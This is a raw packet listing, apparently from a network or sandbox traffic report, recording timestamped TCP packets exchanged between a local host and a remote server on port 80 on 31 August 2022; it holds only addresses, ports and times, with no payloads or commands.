Aug 31, 2022 14:28:35.445296049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445360899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.445472956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445528984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445588112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.445602894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445646048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445717096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445790052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445844889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445846081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.445883989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445935011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.446101904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446158886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446213961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446214914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.446253061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446378946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446434021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446471930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446496964 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.446525097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446579933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446631908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446635008 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.446671963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446724892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446727991 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.446779013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446836948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446847916 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.446919918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.446996927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447088957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447160959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447160959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.447202921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447261095 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.447329044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447407007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447462082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447474957 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.447504044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447559118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447635889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447715998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447766066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.447788000 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.447802067 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.447946072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448018074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448065996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448102951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448129892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.448167086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448208094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448241949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.448247910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448276043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448335886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.448880911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448923111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448961973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.448990107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449028969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.449107885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449150085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449187994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449213982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449230909 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.449261904 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.449579954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449628115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449665070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449692011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449723005 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.449729919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449779987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449824095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449836969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.449851036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.449985981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.450830936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450881004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450901985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450916052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450934887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450954914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450969934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.450989962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451003075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451028109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.451066017 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.451109886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451133013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451154947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451174974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451189041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451215982 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.451576948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451597929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451621056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451661110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451670885 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.451678991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451697111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.451940060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451965094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.451998949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452034950 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452044964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452060938 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452064037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452163935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452183962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452203989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452223063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452223063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452236891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452258110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452279091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452316046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452336073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452354908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452368021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452368021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452394009 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452815056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452836037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452866077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452896118 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452908039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452919960 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.452922106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.452967882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453042030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453062057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453082085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453094006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453097105 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.453124046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.453397989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453422070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453464985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453480005 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.453485012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453500032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453541040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.453598022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453618050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453632116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453650951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453682899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453691959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.453721046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.453973055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.453994036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454042912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454046011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454065084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454080105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454113007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454114914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454164982 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454173088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454194069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454226971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454241037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454247952 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454607964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454628944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454651117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454674006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454688072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454701900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454726934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454762936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454796076 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454814911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454823971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454875946 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.454896927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.454911947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455579042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455599070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455621958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455647945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455653906 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.455662012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455684900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.455743074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455801010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455821037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455840111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455851078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.455852985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.455879927 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.456549883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456577063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456604004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456624031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456638098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456654072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.456686974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.456753969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456811905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456859112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456885099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456890106 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.456902027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.456950903 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.457242966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457263947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457283020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457317114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457328081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.457336903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457344055 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.457402945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457441092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457458019 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.457465887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457485914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457499027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457523108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.457910061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457957029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457976103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.457995892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458009005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458026886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458058119 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458086967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458106995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458142996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458184958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458205938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458220005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458257914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458550930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458579063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458604097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458622932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458642960 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458653927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458661079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458703041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458724022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458744049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458762884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.458774090 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458828926 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.458859921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459085941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459106922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459125996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459152937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459175110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459197044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459211111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459332943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459368944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459388971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459408045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459422112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459435940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459491968 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459737062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459758997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459778070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459805965 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459830999 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459852934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459868908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459904909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459924936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459959030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.459980011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.459988117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460004091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460005045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.460303068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460351944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460371971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460407972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460422039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460474014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.460545063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460613012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460649967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460671902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460685015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.460772038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.461260080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461289883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461306095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461329937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461340904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461380005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461435080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461452007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461469889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461481094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461498022 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.461532116 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.461792946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461811066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461832047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461915016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.461926937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462038040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462042093 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.462058067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462100983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462121010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462158918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462240934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.462670088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462694883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462714911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462765932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.462774038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462789059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462791920 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.462877989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462898970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462919950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462939024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462945938 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.462965965 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.462966919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.462982893 CEST	80	49726	85.209.157.230	192.168.2.4
